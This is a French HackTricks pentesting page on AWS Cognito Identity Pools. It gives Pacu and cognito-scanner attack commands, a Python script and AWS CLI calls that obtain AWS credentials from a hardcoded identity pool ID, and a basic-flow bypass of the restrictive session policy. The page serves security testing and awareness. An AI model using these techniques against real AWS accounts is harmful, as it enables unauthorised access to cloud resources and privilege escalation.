Cognito Identity Pools

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Informations de base

Les pools d'identités jouent un rôle crucial en permettant à vos utilisateurs d'acquérir des informations d'identification temporaires. Ces informations d'identification sont essentielles pour accéder à divers services AWS, y compris mais sans s'y limiter Amazon S3 et DynamoDB. Une caractéristique notable des pools d'identités est leur prise en charge à la fois des utilisateurs invités anonymes et d'une gamme de fournisseurs d'identité pour l'authentification des utilisateurs. Les fournisseurs d'identité pris en charge comprennent :

  • Pools d'utilisateurs Amazon Cognito

  • Options de connexion sociale telles que Facebook, Google, Connexion avec Amazon et Connexion avec Apple

  • Fournisseurs conformes à OpenID Connect (OIDC)

  • Fournisseurs d'identité SAML (Security Assertion Markup Language)

  • Identités authentifiées par les développeurs

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Pour générer des sessions de pool d'identités, vous devez d'abord générer un ID d'identité. Cet ID d'identité est l'identification de la session de cet utilisateur. Ces identifications peuvent comporter jusqu'à 20 ensembles de données pouvant stocker jusqu'à 1 Mo de paires clé-valeur.

Cela est utile pour conserver les informations d'un utilisateur (qui utilisera toujours le même ID d'identité).

De plus, le service cognito-sync est le service qui permet de gérer et synchroniser ces informations (dans les ensembles de données, en envoyant des informations dans des flux et des messages SNS...).

Outils pour le pentesting

  • Pacu, le framework d'exploitation AWS, inclut désormais les modules "cognito__enum" et "cognito__attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'élévation de privilèges basée sur des attributs personnalisés modifiables, des informations d'identification de pool d'identités utilisables, des rôles assumables dans les jetons d'identité, etc.

Pour une description des fonctions des modules, consultez la partie 2 du billet de blog. Pour les instructions d'installation, consultez la page principale de Pacu.

Utilisation

Exemple d'utilisation de l'attaque cognito__attack pour tenter la création d'utilisateur et tous les vecteurs de privilèges contre un pool d'identités donné et un client de pool d'utilisateurs :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d'utilisation de cognito__enum pour rassembler tous les pools d'utilisateurs, clients de pool d'utilisateurs, pools d'identités, utilisateurs, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum
  • Cognito Scanner est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris la création de compte non désirée et l'escalade de pool d'identités.

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d'informations, consultez https://github.com/padok-team/cognito-scanner

Accès aux rôles IAM

Non authentifié

La seule chose dont un attaquant a besoin pour obtenir des informations d'identification AWS dans une application Cognito en tant qu'utilisateur non authentifié est l'ID du pool d'identités, et cet ID doit être codé en dur dans l'application web/mobile pour l'utiliser. Un ID ressemble à ceci : eu-west-1:098e5341-8364-038d-16de-1865e435da3b (il n'est pas possible de le deviner par force brute).

Le rôle non authentifié IAM Cognito créé via est appelé par défaut Cognito_<Nom du pool d'identités>Unauth_Role

Si vous trouvez un ID de pool d'identités codé en dur et qu'il autorise les utilisateurs non authentifiés, vous pouvez obtenir des informations d'identification AWS avec :

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ou vous pourriez utiliser les commandes aws cli suivantes :

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Notez que par défaut, un utilisateur Cognito non authentifié NE PEUT avoir aucune autorisation, même si elle lui a été attribuée via une stratégie. Vérifiez la section suivante.

Flux d'authentification amélioré par rapport au flux d'authentification de base

La section précédente a suivi le flux d'authentification amélioré par défaut. Ce flux définit une politique de session restrictive pour la session de rôle IAM générée. Cette politique ne permettra à la session de utiliser que les services de cette liste (même si le rôle avait accès à d'autres services).

Cependant, il existe un moyen de contourner cela, si le pool d'identités a activé le "Flux de base (classique)", l'utilisateur pourra obtenir une session en utilisant ce flux qui n'aura pas cette politique de session restrictive.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Si vous recevez cette erreur, c'est parce que le flux de base n'est pas activé (par défaut)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Avoir un ensemble d'informations d'identification IAM, vous devriez vérifier quels accès vous avez et essayer de développer les privilèges.

Authentifié

Rappelez-vous que les utilisateurs authentifiés se verront probablement accorder différentes autorisations, donc si vous pouvez vous inscrire dans l'application, essayez de le faire et obtenez les nouvelles informations d'identification.

Il pourrait également y avoir des rôles disponibles pour les utilisateurs authentifiés accédant au pool d'identités.

Pour cela, vous pourriez avoir besoin d'accéder au fournisseur d'identité. S'il s'agit d'un pool d'utilisateurs Cognito, peut-être pouvez-vous abuser du comportement par défaut et créer un nouvel utilisateur vous-même.

Le rôle IAM Cognito authentifié créé via est appelé par défaut Cognito_<Nom du pool d'identités>Auth_Role

Quoi qu'il en soit, l'exemple suivant suppose que vous vous êtes déjà connecté à un pool d'utilisateurs Cognito utilisé pour accéder au pool d'identités (n'oubliez pas que d'autres types de fournisseurs d'identité pourraient également être configurés).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Obtenez l'identity_id de la réponse de la commande précédente
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Dans l'IdToken, vous pouvez trouver les rôles auxquels un utilisateur a accès en raison des groupes du pool d'utilisateurs
# Utilisez --custom-role-arn pour obtenir des informations d'identification pour un rôle spécifique
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Il est possible de configurer différents rôles IAM en fonction du fournisseur d'identité par lequel l'utilisateur se connecte ou même simplement en fonction de l'utilisateur (en utilisant des revendications). Par conséquent, si vous avez accès à différents utilisateurs via le même ou différents fournisseurs, il pourrait être utile de vous connecter et d'accéder aux rôles IAM de chacun d'eux.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour